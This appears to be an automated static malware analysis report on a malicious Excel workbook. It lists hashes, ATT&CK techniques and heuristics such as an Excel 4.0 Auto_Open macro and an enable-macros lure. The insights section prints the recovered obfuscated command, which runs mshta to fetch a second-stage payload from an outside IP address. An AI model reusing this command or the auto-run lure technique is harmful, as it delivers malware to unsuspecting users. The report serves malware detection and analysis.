Malicious Office (OLE) / .XLSX — malware analysis report

Static analysis result for SHA-256 90b7cceec2847da6…

MALICIOUS

Office (OLE) / .XLSX

64.8 KB Created: 2021-12-16 23:53:43 Authoring application: Microsoft Excel
MD5: a187b4490c7ef9f36e46d3e6a9d4495a SHA-1: 71f47fe1c73529295df1279aeca2fa3c9dcdf349 SHA-256: 90b7cceec2847da6f3d058a594cde1c8a5b723a133b45746f0ee240ef37dd67e
108 Risk Score

Malware Insights

MITRE ATT&CK
T1204 Malicious Link T1059 Command and Scripting Interpreter T1059.003 Windows Command Shell

The sample contains Excel 4.0 macros with an Auto_Open entry, which is a strong indicator of malicious intent. The document body and heuristics indicate a lure to enable macros. The XLM macro explicitly constructs and executes a command: 'cmd /c m^sh^t^a h^tt^p^:/^/87.251.85.100/oo/oo.html', which is designed to download a second-stage payload from the specified URL. A similar command and URL were also found in the macro definitions.

Heuristics 4

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • VBA project contains no executable statements low OLE_VBA_MACROS
    Document contains a VBA project, but extracted modules only contain attributes/options/comments and no executable statements.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt
de81f8962b42018d50fc3f858c62f78dac7c27a8d9c6bc0ba2b69c5b8c8e6d84		 xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 1240 bytes
macros.bas
faef16cfc3b69e6dacc60198a7ccc61c4bb61c8632529929cd74db2189ccdc82		 vba-macro oletools.olevba.extract_macros (decoded VBA source) 906 bytes

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